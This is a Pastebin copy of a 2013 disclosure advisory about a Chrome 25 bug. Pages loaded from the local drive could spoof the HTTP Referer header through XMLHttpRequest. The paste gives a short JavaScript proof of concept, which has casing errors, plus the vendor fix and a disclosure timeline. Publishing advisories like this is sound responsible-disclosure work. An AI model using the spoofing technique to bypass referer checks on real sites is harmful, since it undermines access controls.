YeiZea

Google Chrome 25.0.1364.152 HTTP Referer Header Faking

Jul 9th, 2013
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.64 KB | None | 0 0
  1. Advisory: XMLHttpRequest HTTP Referer Header Faking
  2. Author: Liad Mizrachi
  3. Vendor URL: http://www.chromium.org/
  4. Vulnerability Status: Fixed
  5. Application Version: Google Chrome v25.0.1364.152
  6.  
  7.  
  8. ==========================
  9. Vulnerability Description
  10. ==========================
  11.  
  12. Chromium is the open source web browser project from which Google
  13. Chrome draws its source code.
  14.  
  15. Chromium fails to validate the use of unsafe headers when the page is
  16. load from the local drive, allowing to set and change the referer
  17. header using "setRequestHeader" when generating a Ajax
  18. (XMLHttpRequest) request.
  19.  
  20.  
  21. ==========================
  22. PoC
  23. ==========================
  24.  
  25. function SendReq()
  26. {
  27. var xmlhttp = new XmlHttpRequest();
  28. xmlHttp.onreadystatechange = readyStateChanged;
  29. xmlHttp.open("GET", "http://AnySite.com/checkReferer.php", true);
  30. xmlHttp.setRequestHeader("Referer", "http://valid.referer.com");
  31. xmlHttp.send();
  32. }
  33.  
  34.  
  35. ==========================
  36. Solution
  37. ==========================
  38.  
  39. Block all scripts from setting unsafe headers in XMLHttpRequest.
  40. - Fixed by vendor.
  41.  
  42.  
  43.  
  44. ==========================
  45. Disclosure Timeline
  46. ==========================
  47.  
  48. 04-Mar-2013 - Google Security Team informed by mail.
  49. 14-Mar-2013 - Google Security Team Reply: "Since ChromeOS is an open
  50. source project, please file the report directly in their bug tracker"
  51. 14-Mar-2013 - Security Bug Opened @ Chromium project.
  52. 30-Apr-2013 - Fixed.
  53.  
  54.  
  55. ==========================
  56. References
  57. ==========================
  58. http://www.chromium.org/
  59. https://codereview.chromium.org/13979011/
Add Comment
Please, Sign In to add comment